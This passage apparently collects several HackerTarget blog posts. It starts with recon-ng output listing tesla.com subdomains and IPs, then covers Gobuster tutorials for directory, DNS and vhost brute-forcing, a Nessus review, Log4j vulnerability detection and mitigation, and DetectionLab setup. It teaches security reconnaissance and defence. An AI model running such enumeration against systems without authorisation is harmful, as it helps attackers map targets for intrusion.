 +----------------------------------------------------------------------------------------------------------------------+
  | rowid |            host         |    ip_address   | region | country | latitude | longitude | notes |    module    |
  +----------------------------------------------------------------------------------------------------------------------+
  | 1   | tesla.com                 | 104.119.104.74  |        |         |          |           |       | hackertarget |
  | 2   | o7.ptr6980.tesla.com      | 149.72.144.42   |        |         |          |           |       | hackertarget |
  | 3   | vpn1.tesla.com            | 8.45.124.215    |        |         |          |           |       | hackertarget |
  | 4   | apacvpn1.tesla.com        | 8.244.131.215   |        |         |          |           |       | hackertarget |
  | 5   | cnvpn1.tesla.com          | 114.141.176.215 |        |         |          |           |       | hackertarget |
  | 6   | vpn2.tesla.com            | 8.47.24.215     |        |         |          |           |       | hackertarget |
  | 7   | model3.tesla.com          | 205.234.27.221  |        |         |          |           |       | hackertarget |
  | 8   | o3.ptr1444.tesla.com      | 149.72.152.236  |        |         |          |           |       | hackertarget |
  | 9   | o2.ptr556.tesla.com       | 149.72.134.64   |        |         |          |           |       | hackertarget |
  | 10  | o5.ptr8466.tesla.com      | 149.72.172.170  |        |         |          |           |       | hackertarget |
  | 11  | o6.ptr9437.tesla.com      | 168.245.123.10  |        |         |          |           |       | hackertarget |
  | 12  | o4.ptr1867.tesla.com      | 149.72.163.58   |        |         |          |           |       | hackertarget |
  | 13  | marketing.tesla.com       | 13.111.47.196   |        |         |          |           |       | hackertarget |
  | 14  | o1.ptr2410.link.tesla.com | 149.72.247.52   |        |         |          |           |       | hackertarget |
  | 15  | referral.tesla.com        | 72.10.32.90     |        |         |          |           |       | hackertarget |
  | 16  | mta2.email.tesla.com      | 13.111.4.231    |        |         |          |           |       | hackertarget |
  | 17  | mta.email.tesla.com       | 13.111.14.190   |        |         |          |           |       | hackertarget |
  | 18  | xmail.tesla.com           | 204.74.99.100   |        |         |          |           |       | hackertarget |
  | 19  | comparison.tesla.com      | 64.125.183.133  |        |         |          |           |       | hackertarget |
  | 20  | apacvpn.tesla.com         | 8.244.67.215    |        |         |          |           |       | hackertarget |
  | 21  | cnvpn.tesla.com           | 103.222.41.215  |        |         |          |           |       | hackertarget |
  | 22  | emails.tesla.com          | 13.111.18.27    |        |         |          |           |       | hackertarget |
  | 23  | mta2.emails.tesla.com     | 13.111.88.1     |        |         |          |           |       | hackertarget |
  | 24  | mta3.emails.tesla.com     | 13.111.88.2     |        |         |          |           |       | hackertarget |
  | 25  | mta4.emails.tesla.com     | 13.111.88.52    |        |         |          |           |       | hackertarget |
  | 26  | mta5.emails.tesla.com     | 13.111.88.53    |        |         |          |           |       | hackertarget |
  | 27  | mta.emails.tesla.com      | 13.111.62.118   |        |         |          |           |       | hackertarget |
  | 28  | click.emails.tesla.com    | 13.111.48.179   |        |         |          |           |       | hackertarget |
  | 29  | view.emails.tesla.com     | 13.111.49.179   |        |         |          |           |       | hackertarget |
  | 30  | itanswers.tesla.com       | 204.74.99.100   |        |         |          |           |       | hackertarget |
  | 31  | events.tesla.com          | 13.111.47.195   |        |         |          |           |       | hackertarget |
  | 32  | www-uat.tesla.com         | 199.66.9.47     |        |         |          |           |       | hackertarget |
  | 33  | shop.eu.tesla.com         | 205.234.27.221  |        |         |          |           |       | hackertarget |
  | 34  | mfamobile-dev.tesla.com   | 205.234.27.209  |        |         |          |           |       | hackertarget |
  | 35  | mfauser-dev.tesla.com     | 205.234.27.209  |        |         |          |           |       | hackertarget |
  +----------------------------------------------------------------------------------------------------------------------+

[*] 35 rows returned

[recon-ng][default][hackertarget] > 

--------------------------------------------------------------

Add API keys to Recon-ng

It is a simple matter to add API keys to recon-ng. Shodan with a PRO account is a highly recommended option. This will enable queries to open ports on your discovered hosts without sending any packets to the target systems.

How to add shodan API key

Create or login to your Shodan account, Go to 'Account" in top right corner. The API Key is listed here on the Account Overview page.

Recon-ng shows the syntax to add an API key is below

[recon-ng][default] > keys add 
Adds/Updates a third party resource credential

Usage: keys add name value

[recon-ng][default] keys add shodan_api bbexampleapikey33 

.recon-ng configuration files

When you install recon-ng on your machine, it creates a folder in your home directory called .recon-ng. Contained in this folder is keys.db. If you are upgrading from one version to another or changed computers, and have previous modules that require keys to work, copy this file from the old version on your system and move it on the new one. You do not have to start all over again.

test@test-desktop:~/.recon-ng$ ls

keys.db  
modules  
modules.yml  
workspaces

test@test-desktop:~/.recon-ng$ 

Conclusion

Recon-ng is a powerful tool that can be further explored by viewing the list of modules. The help within the console is clear, and with a bit of playing around it won't take long to become an expert.

The rise of bug bounties allows you to play with new tools and explore Organizations' every expanding attack surface footprint. Have fun. Don't break the rules.

The post Recon-NG Tutorial appeared first on HackerTarget.com.

Gobuster Installation

Written in the Go language, this tool enumerates hidden files along with the remote directories. Using the command line it is simple to install and run on Ubuntu 20.04.

For version 2 its as simple as:

$ sudo apt install gobuster 

The Linux package may not be the latest version of Gobuster. Check Repology: the packaging hub, which shows the package of Gobuster is 2.0.1 (at the time of this article). The Github repository shows a newer version V3.1.0. https://github.com/OJ/gobuster.git

Under "Easy installation" on the github page the options to install are binary releases, a Go install, and Building from source. For this install lets play around with the Go install. Gobuster needs Go to be at least v1.16

Setting up a Go environment (optional)

Download the GO install from here: https://go.dev/dl/

change to the directory where Downloads normally arrive and do the following;

--> extract
$ sudo tar xvzf go1.17.7.linux-amd64.tar.gz 
--> change permissions
$ sudo chown -R root:root ./go
--> move to local directory
$ sudo mv -v go /usr/local

A local environment variable called $GOPATH needs to be set up. Since Go 1.8 this is not essential, though still recommended as some third party tools are still dependent on it.

Add the following to the .bash_profile Locate in home directory with ls -la .

export GOPATH=/usr/local/go
export PATH=$PATH:/usr/local/go/bin

To check its all worked and the Go environment is set up:

$ go version
go version go1.17.7 linux/amd64 

Now with the Go environment confirmed. Its simply a matter of using the following command to install Gobuster.

$ go install github.com/OJ/gobuster/v3@latest

check Gobuster is installed with:

$ gobuster version
3.1.0

How to use Gobuster

Gobuster is now installed and ready to use. The rest of the tutorial is how to use Gobuster to brute force for files and directories.

Gobuster modes and flags

Gobuster has a variety of modes/commands to use as shown below. This tutorial focuses on 3: DIR, DNS, and VHOST.

To see a general list of commands use: gobuster -h Each of these modes then has its own set of flags available for different uses of the tool.

 $ gobuster -h 
Usage:
  gobuster [command]

Available commands:
  dir         Uses directory/file enumeration mode
  dns         Uses DNS subdomain enumeration mode
  fuzz        Uses fuzzing mode
  help        Help about any command
  s3          Uses aws bucket enumeration mode
  version     shows the current version
  vhost       Uses VHOST enumeration mode

Flags: 
      --delay duration    Time each thread waits between requests (e.g. 1500ms)
  -h, --help              help for gobuster
      --no-error          Don't display errors
  -z, --no-progress       Don't display progress
  -o, --output string     Output file to write results to (defaults to stdout)
  -p, --pattern string    File containing replacement patters
  -q, --quiet             Don't print the banner and other noise
  -t, --threads int       Number of concurrent threads (default 10)
  -v, --verbose           Verbose output (errors)
  -w, --wordlist string   Path to the wordlist
  

Wordlists

Gobuster needs wordlists. One of the essential flags for gobuster is -w . Wordlists can be obtained from various places. Depending on the individual setup, wordlists may be preinstalled or found within other packages, including wordlists from Dirb or Dirbuster. The ultimate source and "Pentesters friend" is SecLists - https://github.com/danielmiessler/SecLists which is a compilation of numerous lists held in one location.

Gobuster DIR command

The DIR mode is used for finding hidden directories and files.

To find additional flags available to use gobuster dir --help

$ gobuster dir --help

Uses directory/file enumeration mode

Usage:
  gobuster dir [flags]

Flags:
  -f, --add-slash                       Append / to each request
  -c, --cookies string                  Cookies to use for the requests
  -d, --discover-backup                 Upon finding a file search for backup files
      --exclude-length ints             exclude the following content length (completely ignores the status). Supply multiple times to exclude multiple sizes.
  -e, --expanded                        Expanded mode, print full URLs
  -x, --extensions string               File extension(s) to search for
  -r, --follow-redirect                 Follow redirects
  -H, --headers stringArray             Specify HTTP headers, -H 'Header1: val1' -H 'Header2: val2'
  -h, --help                            help for dir
      --hide-length                     Hide the length of the body in the output
  -m, --method string                   Use the following HTTP method (default "GET")
  -n, --no-status                       Don't print status codes
  -k, --no-tls-validation               Skip TLS certificate verification
  -P, --password string                 Password for Basic Auth
      --proxy string                    Proxy to use for requests [http(s)://host:port]
      --random-agent                    Use a random User-Agent string
  -s, --status-codes string             Positive status codes (will be overwritten with status-codes-blacklist if set)
  -b, --status-codes-blacklist string   Negative status codes (will override status-codes if set) (default "404")
      --timeout duration                HTTP Timeout (default 10s)
  -u, --url string                      The target URL 
  -a, --useragent string                Set the User-Agent string (default "gobuster/3.1.0")
  -U, --username string                 Username for Basic Auth
      --wildcard                        Force continued operation when wildcard found

Global Flags:
      --delay duration    Time each thread waits between requests (e.g. 1500ms)
      --no-error          Don't display errors
  -z, --no-progress       Don't display progress
  -o, --output string     Output file to write results to (defaults to stdout)
  -p, --pattern string    File containing replacement patterns
  -q, --quiet             Don't print the banner and other noise
  -t, --threads int       Number of concurrent threads (default 10)
  -v, --verbose           Verbose output (errors)
  -w, --wordlist string   Path to the wordlist

Flags

The 2 flags required to run a basic scan are -u -w. This example uses common.txt from the SecList wordlists.

user@matrix:$ gobuster dir -u https://example.com -w /wordlists/Discovery/Web-Content/common.txt  

Example results
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://example.com
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /wordlists/Discovery/Web-Content/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/03/01 10:34:16 Starting gobuster in directory enumeration mode
===============================================================
/assets              
/css                  
/download             

Not too many results and was quite heavy on the system processess. Results depend on the wordlist selected. It is worth working out which one is best for the job. The length of time depends on how large the wordlist is. It can also be worth creating a wordlist specific to the job at hand using a variety of resources.

Threads

Gobuster is fast, with hundreds of requests being sent using the default 10 threads. This speeds can create problems with the system it is running on. It could be beneficial to drop this down to 4.

Additionally it can be helpful to use the flag --delay duration Time each thread waits between requests (e.g. 1500ms). For example --delay 1s in other words, if threads is set to 4 and --delay to 1s, this will send 4 requests per second.

$ gobuster dir -u https://example.com -w /wordlists/Discovery/Web-Content/big.txt -t 4 --delay 1s -o results.txt

Results

Results are shown in the terminal, or use the -o option to output results to a file example -o results.txt

user@matrix:$ gobuster dir -u https://example.com -w /wordlists/Discovery/Web-Content/directory-list-2.3-small.txt -t 4 --delay 1s -o results.txt

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://example.co.uk/
[+] Method:                  GET
[+] Threads:                 4
[+] Delay:                   1s
[+] Wordlist:                /wordlists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/03/08 12:12:19 Starting gobuster in directory enumeration mode
===============================================================
/admin
/aux
===============================================================
2022/03/08 12:46:57 Finished
===============================================================

Took a while, but by filtering the results to an output file its easy to see and retain for future enumerating, what was located. . A few more interesting results this time.

Other DIR flag examples

The results above show status codes. To exclude status codes use  -n 

user@matrix:$ gobuster dir -u https://example.com -w /wordlists/Discovery/Web-Content/big.txt  -n  -t 4 --delay 1s -o results.txt

An example of another flag to use is the  -x  File extension(s) to search for. This is for the times when a search for specific file extension or extensions is specified. Such as, -x .php or other only is required.

user@matrix:$ gobuster dir -u https://example.com -w /wordlists/Discovery/Web-Content/big.txt  -x .php, .txt  -t 4 --delay 1s -o results.txt

Continue enumerating

Continue to enumerate results to find as much information as possible. Run gobuster again with the results found and see what else appears. Keep digging to locate those hidden directories.

$ gobuster dir -u https://example.com/aux -w /wordlists/Discovery/Web-Content/big.txt -t 4 --delay 1s -o results.txt

Gobuster DNS command

Use the DNS command to discover subdomains with Gobuster. To see the options and flags available specifically for the DNS command use: gobuster dns --help

user@matrix:$ gobuster dns --help
Uses DNS subdomain enumeration mode

Usage:
  gobuster dns [flags]

Flags:
  -d, --domain string      The target domain
  -h, --help               help for dns
  -r, --resolver string    Use custom DNS server (format server.com or server.com:port)
  -c, --show-cname         Show CNAME records (cannot be used with '-i' option)
  -i, --show-ips           Show IP addresses
      --timeout duration   DNS resolver timeout (default 1s)
      --wildcard           Force continued operation when wildcard found

Global Flags:
      --delay duration    Time each thread waits between requests (e.g. 1500ms)
      --no-error          Don't display errors
  -z, --no-progress       Don't display progress
  -o, --output string     Output file to write results to (defaults to stdout)
  -p, --pattern string    File containing replacement patterns
  -q, --quiet             Don't print the banner and other noise
  -t, --threads int       Number of concurrent threads (default 10)
  -v, --verbose           Verbose output (errors)
  -w, --wordlist string   Path to the wordlist

DNS example

$ gobuster dns -q -r 8.8.8.8 -d example.com -w wordlists/Discovery/DNS/subdomains-top1million-5000.txt -t 4 --delay 1s -o results.txt"	 

Breaking this down.

dns mode
-q --quiet : Don't print the banner and other noise
-r --resolver string : Use custom DNS server (format server.com or server.com:port)
-d --domain string
-w --wordlist string : Path to the wordlist
-t --threads
--delay -- delay duration
-o --output string : Output file to write results to (defaults to stdout)

Using another of the Seclists wordlists /wordlists/Discovery/DNS/subdomains-top1million-5000.txt.

Results

In this case, as the flag -q for quiet mode was used, only the results are shown, the Gobuster banner and other information are removed.

Found: www.example.com
Found: nagios.example.com
Found: dev.example.com   
Found: auto.example.com                                

The same search without the flag -q obviously gives the same results - and includes the banner information.

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Domain:     example.com
[+] Threads:    4
[+] Delay:      1s
[+] Resolver:   8.8.8.8
[+] Timeout:    1s
[+] Wordlist:   /home/wordlists/subdomains-top1million-5000.txt
===============================================================
2022/03/18 16:20:35 Starting gobuster in DNS enumeration mode
===============================================================

Found: www.example.com
Found: nagios.example.com
Found: dev.example.com   
Found: auto.example.com  
                              
===============================================================
2022/03/18 16:20:37 Finished
===============================================================

Gobuster VHost command

The vhost command discovers Virtual host names on target web servers. Virtual hosting is a technique for hosting multiple domain names on a single server.

Exposing hostnames on a server may reveal supplementary web content belonging to the target. Vhost checks if the subdomains exist by visiting the formed URL and cross-checking the IP address.

To brute-force virtual hosts, use the same wordlists as for DNS brute-forcing subdomains.

Similar to brute forcing subdomains eg. url = example.com, vhost looks for dev.example.com or beta.example.com etc.

For options and flags available use gobuster vhost --help

user@matrix:$ gobuster vhost --help

Uses VHOST enumeration mode

Usage:
  gobuster vhost [flags]

Flags:
  -c, --cookies string        Cookies to use for the requests
  -r, --follow-redirect       Follow redirects
  -H, --headers stringArray   Specify HTTP headers, -H 'Header1: val1' -H 'Header2: val2'
  -h, --help                  help for vhost
  -m, --method string         Use the following HTTP method (default "GET")
  -k, --no-tls-validation     Skip TLS certificate verification
  -P, --password string       Password for Basic Auth
      --proxy string          Proxy to use for requests [http(s)://host:port]
      --random-agent          Use a random User-Agent string
      --timeout duration      HTTP Timeout (default 10s)
  -u, --url string            The target URL
  -a, --useragent string      Set the User-Agent string (default "gobuster/3.1.0")
  -U, --username string       Username for Basic Auth

Global Flags:
      --delay duration    Time each thread waits between requests (e.g. 1500ms)
      --no-error          Don't display errors
  -z, --no-progress       Don't display progress
  -o, --output string     Output file to write results to (defaults to stdout)
  -p, --pattern string    File containing replacement patterns
  -q, --quiet             Don't print the banner and other noise
  -t, --threads int       Number of concurrent threads (default 10)
  -v, --verbose           Verbose output (errors)
  -w, --wordlist string   Path to the wordlist

As shown above the Global flags are the same as for the all modes. Again, the 2 essential flags are the -u URL and -w wordlist. Not essential but useful -o output file and -t threads, -q for quiet mode to show the results only.

Vhost example

user@matrix:$ gobuster vhost -u https://example.com -t 50 -w /wordlists/Discovery/DNS/subdomains-top1million-5000.txt 

Results

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          https://example.com
[+] Method:       GET
[+] Threads:      4
[+] Wordlist:     /wordlists/subdomains-top1million-5000.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/03/22 10:21:38 Starting gobuster in VHOST enumeration mode
===============================================================
Found: auto.example.com (Status: 200) [Size: 162]
Found: beta.example.com (Status: 200) [Size: 162]
Found: apache.example.com (Status: 200) [Size: 162]
                                                        
===============================================================
2022/03/22 10:21:39 Finished
===============================================================

Conclusion

Gobuster is a useful tool for recon and increasing the knowledge of the attack surface. Start with a smaller size wordlist and move to the larger ones as results will depend on the wordlist chosen. Keep enumerating. Don't stop at one search, it is surprising what is just sitting there waiting to be discovered.

The post Gobuster tutorial appeared first on HackerTarget.com.

Nessus 10.0 even has support for Raspberry Pi allowing it to be deployed anywhere.

A Hacker Target team member grabbed a copy of Nessus Essentials 10.0.0 and installed it on a clean Ubuntu 20.04 system. NB: This is just a quick look at the product. We do not use it commercially as part of the work done by HackerTarget.com as this would require Nessus Pro and, as we favour the Open Source OpenVAS vulnerability scanner.

Register for an Activation Code

Although free, Nessus essentials require the user to register for an activation code.

This activation does not expire however it is one use only. So, if you want to install Nessus on another machine or reinstall it, you need to register for another code.

Check your email for a message from Tenable with the activation code inside.

Download and Install

We are going to run Nessus on Ubuntu Debian. Head to the downloads page

Install takes less than a minute. It is fast and easy as you can seen below.

user@acidburn:~$ sudo dpkg -i Downloads/Nessus-10.0.0-ubuntu1110_amd64.deb
[sudo] password for user:

Selecting previously unselected package nessus.
(Reading database ... 343156 files and directories currently installed.)
Preparing to unpack Nessus-10.0.0-ubuntu1110_amd64.deb ...
Unpacking nessus (10.0.0) ...
Setting up nessus (10.0.0) ...
Unpacking Nessus Scanner Core Components...
Created symlink /etc/systemd/system/nessusd.service -> /lib/systemd/system/nessusd.service.
Created symlink /etc/systemd/system/multi-user.target.wants/nessusd.service -> /lib/systemd/system/nessusd.service.  

 - You can start Nessus Scanner by typing /bin/systemctl start nessusd.service
 - Then go to https://192.168.1.123:8834/ to configure your scanner

At the prompt, start the Nessus scanner start nessusd.service

user@acidburn:~$ /bin/systemctl sudo start nessusd.service

Now check the status to see if it is active/running with systemctl status nessusd

user@acidburn:~$ systemctl status nessusd

After setting an admin password during the web based configuration, I promptly managed to forget it. Reset the Nessus admin password easily using the nessuscli utility:

user@acidburn:~$ sudo /opt/nessus/sbin/nessuscli chpasswd admin

Nessus Management Console

After logging in the first time you are presented with this popup. Launch a host discovery scan to identify what hosts on our network are available to scan. You can choose to do this or close this pop up and come back to to the "Host discovery scan" under the "New Scans" page

It's a simple interface and straight-forward to create a new scan. There is an option to create a New Folder allowing you to keep your scans organised. Once created this folder will appear on the left side under My Scans.

Settings

Settings provide information on the version, last update, license expiration, and Licensed Hosts - indicating how many of the 16 free scans you have used. From the menu on the left, you can access a variety of things such as Proxy Server, Password Management, and 'My Account'. There are a lot more settings to look through but for this post nothing needed to be configured and stuck with the default setup.

Create a Nessus Scan

Creating a scan is easy enough. Click on the  + New Scan  button or "Create a new scan".
This takes you to the Scan Templates screen. Many users only use the default scan option, so clearly defining the available options as Basic Network Scan, Advanced Scan, Web App Tests and Malware Scan helps the user understand the scope of the test. Scrolling down the page shows other options, including those that require an upgrade to Professional to access.

An example is the Basic Network Scan option - see screenshot below - it's easy to see what information goes where. In this instance sticking with the default setup, added the info, and saved the scan.

For the scan target, you could enter a host-name, IP address or a network range.

Launch a Nessus Scan

From this page we can see previously run scans and the newly added scan. The last modified column shows run time of previously launched scans, here you can also select the play button to run the new scan (appearing at the bottom of the list) or re-run a previous scan. Once launched the scan jumps to the top row and goes about its scanning.

Nessus Report and Detection

The test scan did a good of detecting missing updates on the test Ubuntu system. For those unfamiliar with vulnerability scanners, I recommend you take a look at the options to customise the scan policies. One of the most important configurations options for basic network scans is to ensure you are performing credential scan. This allows much more in-depth coverage of the target as the scanner is able to interrogate the system for installed software and packages. Giving valuable information to the scan engine such as patch levels of the system for both Windows or Linux based targets.

Malware detection with Nessus

An interesting feature of Nessus is the known malware detection feature. Malware has been a problem since the days of the first boot loader virus's, however in today's world of ransomware, the threats are wide-spread and potentially devastating to an organisation.

The security industry is creating all manner of network based anomaly detection products to discover unknown malware. This capability seems quite simple and one I suspect will be beneficial to many organisations.

As the Nessus scanner performs a credential based scan of a system it can collect hashes of all the running processes and compare these to an online database that is effectively a clone of a system such as VirusTotal. So it immediately adds a new layer of defence to your Anti-virus capability. If your primary AV client misses a piece of malware; when you run your regular Nessus scan you may still catch the unknown malware. Understand however that like any AV detection it will also not find everything.

Nessus Command Line Scanning

So, the question is - with Nessus Essentials, can a scan be run from the command line? The short answer is no. Nor can it be done with a Nessus Pro account. In previous versions there was more that could be done via the command line, now, other than the initial setup and changing passwords, all scans are done via the GUI.

Nessus API access

What can we do with the API? --> Scans can't be run via the API. According to the answer on the community Q&A - this function is only available to Tenable.sc or Tenable.io consoles.

Conclusion

Overall, Nessus Essentials 10 is relatively easy to deploy and configure. You can be up and running within 15-20 minutes. This has been a quick review, further testing would be required to see how it scales on a large network and how comprehensive the vulnerability detection plugins are.

It is preferable to have multiple vulnerability scanner options available. Having more than one assists in correlation and provides an assurance that a vulnerability missed by one scanner may be picked up by the second. Our online OpenVAS scan based on the Greenbone Vulnerability Manager is an effective second assessment option, particularly when reviewing Internet-facing systems.

The post Nessus 10 On Ubuntu 20.04 Install And Mini Review appeared first on HackerTarget.com.

Versions of Log4j2 >= 2.0-beta9 and <= 2.16 are all affected by this vulnerability. The vulnerability is easy to exploit and is currently being attacked, with exploitation occurring in the wild.

The CVE is rated 10, and while it is not the first with such a high level, the big problem with this one is the Log4j software is deployed in systems where many will not even realise. It is a Java based dependency of other common software solutions. The scope and impact of this vulnerability won't be fully understood for some time.

Exploitation can occur through a range of vectors, such as stuffing the simple exploit code into a HTTP User Agent, HTTP Referrer, as well as any user supplied input such as web forms and login portals.

Who and What is affected

Product and vendor information can be found at this link that is being updated as new information becomes available.

A small sample of what is affected:

• Minecraft (server and java clients)
• VMware vCenter + many more products
• Apache Tomcat (not by default but if configured)
• Apache Solr
• Logstash
• Elasticsearch
• Graylog
• Security Onion
• Cisco Products (multiple *under investigation)
• UniFi Network Application
• ZAP Proxy

Remediation of CVE-2021-44228

A number of remediation options are available:

Best Option: Patch the Log4j library

Updating Log4j to a secure version (version 2.16.0 2.17.0) is the best way forward. Note that older versions (1.x) are not vulnerable. These have been out of support for many years but are not vulnerable to this issue so are not an immediate priority.

Second Option: Disable the Lookup Function

Unfortunately, there are going to be many outdated Java based systems running in organisations around the world where an upgrade is not an easy option. The system administrators may even be hesitant to touch the system in the event that they break it. Patching is not always an easy fix.

Disabling the Lookup function of the Log4j package is the next best bet. Note that the latest information is that disabling the Lookup function does not mitigate the vulnerability fully. As the issue is still evolving the best strategy is to check the vendor advice. Specific mitigation's may be required, depending on the deployment.

 -Dlog4j2.formatMsgNoLookups=true 

Firewall Application Server (outbound)

Current exploits require the Log4j server to make a connection to another (attacker controlled) system. If possible, firewall outbound connections from the APP server as this will block many attacks. Note that in this case, DNS ex-filtration of data is still possible if the APP server can resolve external DNS (likely).

The use of a firewall is not a fix but it is one layer of defence - and could potentially be implemented quickly.

Detecting the Vulnerability

We now have the ability to detect vulnerable Log4j systems using the latest OpenVAS signatures (rolled out 14/12/21 1600 UTC). The excellent team at Greenbone Networks (OpenVAS/GVM feed maintainers) released new signatures for detecting the vulnerability. In our testing before deployment we confirmed successful detection against a number of vulnerable lab systems. We are monitoring the situation closely and will release any updates as they become available and more information comes to hand.

Vulnerability Scanning for Log4J

Vulnerability Scanners (including OpenVAS / Greenbone Vulnerability Manager / Nesssus etc) using remote only testing will catch the low-hanging fruit; the easily accessible and exploitable Internet-facing systems. We have tested the newly released signatures from Greenbone Networks in our lab and can confirm that they detected a vulnerable version of Apache Solr remotely.

Keep in mind that no vulnerability scanner is 100% accurate. With this vulnerability. in particular, it is unlikely that there will be a vulnerability detection released that can definitively say that the vulnerability is present with a remote only scan. The problem is the attack surface is huge and varied. The number of places the malicious string could find its way to an instance of Log4j is almost endless.

Knowing your Software (assets)

The ideal solution for detection is knowing the software you have running within your organisation (accurate asset register) and the ability to patch and update software as required.

Use Attack Surface Mapping Tools and Vulnerability Scanners to find the gaps in your organisations network knowledge. Get the answers to the following questions; what services are you running, and what sites are running on those services. Get immediate benefit in the triage process allowing you to identify which systems to remediate as a priority.

Detection using Canary Tokens

An interesting Honeypot option is available for quick testing of an application. A canary token is a service that will monitor for hits from a query and alert you to the successful hit.

The Canary Tokens are made available for Free by Thinkst Canary - a very well-respected company within the Infosec space.

How the Canary Token Works

The smart people at Thinkst Canary have released a log4j token that will alert you to a successfully triggered Log4j exploit vector.

Getting Started

It's an amazing service, you don't even need to create an account:

1. Create a token, entering your email address for the alert to be sent to.
2. Copy the Log4j trigger code and use it in any forms or input you wish to test within your organisation.

In the example below, we tested the token against an old version of Graylog running in our lab. Pasting the code snippet straight into the search triggered the canary token alerting me to the fact that the vulnerability was present.

The alert was immediate and came straight into my inbox.

After adding the -Dlog4j2.formatMsgNoLookups=true parameter to the elasticsearch jvm.options we tried the same ElasticSearch query and found that the token did not trigger. Confirming both, the vulnerability was present initially, and the fact that the vulnerability has now been remediated.

Wrapping Up

For many security / operations teams the next weeks (or months) will be a challenge. We wish you all the best and we will keep monitoring the situation updating this blog post as needed.

Further Resources

Youtube Internet Storm Center Update - Good information from the Sans ISC.
CERT (CH) - Swiss Government Computer Emergency Response Team
Apache Log4j Security Vulnerabilities - Apache Logging Services pages listing the security vulnerabilities fixed in released versions of Apache Log4j 2
NVD: National Vulnerability Database CVE-2021-44228 Detail

The post Detection of Log4j Vulnerability appeared first on HackerTarget.com.

In this post, I detail how to easily deploy additional Ubuntu Linux-based servers into the DetectionLab environment.

The idea is to be able to quickly deploy a Linux server that has agents (ossec / osquery) pre-installed for security monitoring, with the agents sending data back to the DetectionLab logger host.

Vagrant Configuration File

The basis for adding additional hosts to the DetectionLab network is the Vagrant configuration file. If you have not used Vagrant, then getting things working in a test environment is not difficult. A little bit of knowledge will go a long way, and you will find yourself using Vagrant for other tasks as it simply saves you time.

Digging into the Vagrant configuration and deployment, we find that the configuration file is configured to:

1. Deploy an Ubuntu server that connects to the DetectionLab Network (192.168.38.0/24)
2. Installs osquery agent and connects to the Fleet Manager
3. Install ossec agent, configured to send logs to UDP 514 Syslog on Splunk
4. Updates Splunk to enable the UDP Syslog Input
5. Splunk is now collecting security events from the Ubuntu Server (indexing both osquery and ossec events)

Hopefully, this sample configuration highlights the time saving benefits of using Vagrant within your lab environment. All these tasks are performed automatically and after the operating system is deployed, with only a few configuration files.

Using this configuration it will be straightforward to modify the parameters and shell commands to generate custom systems that suit your own environment.

Reading through the configuration file there is nothing overly complex. One point to highlight is the curl commands that retrieve a JWT token from the fleetdm server (using default credentials). Using these credentials the second curl command downloads the client certificate so that osquery can connect to Fleet.

Deploying the Ubuntu Host

To get started grab the Vagrantfile, secret.txt, ossec.conf and flagfile.txt from Github. Modify the host name and IP address as required if you are deploying multiple systems.

Hostname: ubuntu200
IP Address: 192.168.38.200

test@vbox:~/$ git clone https://github.com/hackertarget/DetectionLabUbuntuAddon/
test@vbox:~/$ cd DetectionLabUbuntuAddon
test@vbox:~/DetectionLabUbuntuAddon$ vagrant up

This will start up the host, add it to the network and install ossec and osquery. Log into the fleetdm console to see if the host (ubuntu200) has connected successfully.

And in this screenshot we can see ossec alerts being indexed in Splunk from the ubuntu200 host.

The post Extend DetectionLab with Linux Endpoints appeared first on HackerTarget.com.

DetectionLab and Vagrant

DetectionLab by Chris Long makes this initial configuration a piece of cake. It is quite simply amazing; if DetectionLab was thrown into a 1RU box with blinking lights (Lockeed/Boeing/Raython) would probably sell this thing as a Cyber Range for 7+ figures.

The DetectionLab will run on many operating systems and Hypervisors, but, in this quick start guide, we will use a clean Ubuntu 20.04 host, VirtualBox and Vagrant.

Included Software Components

There is a lot packaged together into this popup network.

While this is a quick way to spin up a testing environment for immediate testing of the installed software components. It is also very easy to expand the network using Vagrant; Throw in Kali Linux or other attack tools , Malware Analysis or an endless array of offensive / defensive scenarios.

Installing DetectionLab

Ok, enough with the introduction - start the stopwatch. Lets go!

Due to the number of virtual hosts, running the lab will require a minimum of an i5 with 16GB of memory. If you are planning on adding additional hosts, then more memory would be very helpful.

test@vbox:~/$ sudo apt install virtualbox virtualbox-ext-pack

This will install Virtualbox 6.1.6 from the Ubuntu repository. Keeping things fast and supported with easy updates. The name of the game in building our cyber security lab is to minimise hassle.

We will also install the latest vagrant from Hashicorp (2.2.9 is recommended - Ubuntu 20.04 ships with 2.2.6).

test@vbox:~/$ curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add -

test@vbox:~/$ sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main"

test@vbox:~/$ sudo apt-get update && sudo apt-get install vagrant

Download the Deployment Files

Download the required files for deployment from github and kick off the prepare.sh script.

test@vbox:~/$ git clone https://github.com/clong/DetectionLab.git 
test@vbox:~/$ cd DetectionLab/Vagrant
test@vbox:~/DetectionLab/Vagrant$ ./prepare.sh 
[+] Checking for necessary tools in PATH...
  [-] Packer was not found in your PATH.
  [-] This is only needed if you plan to build you own boxes, otherwise you can ignore this message.
  [?] Vagrant was found in your PATH
  [?] Your version of Vagrant (2.2.16) is supported
  [?] Curl was found in your PATH

[+] Checking if any boxes have been manually built...
  [?] No custom built boxes found

[+] Checking for disk free space...
  [?] You have more than 80GB of free space on your primary partition

[+] Checking if any Vagrant instances have been created...
  [?] No Vagrant instances have been created yet

[+] Checking if the vagrant-reload plugin is installed...
  [?] The vagrant-reload plugin is currently installed

[+] Enumerating available providers...
Available Providers:
  [?] virtualbox

To get started building DetectionLab, run vagrant up.
If you run into any issues along the way, check out the troubleshooting and known issues page: 
https://www.detectionlab.network/deployment/troubleshooting/

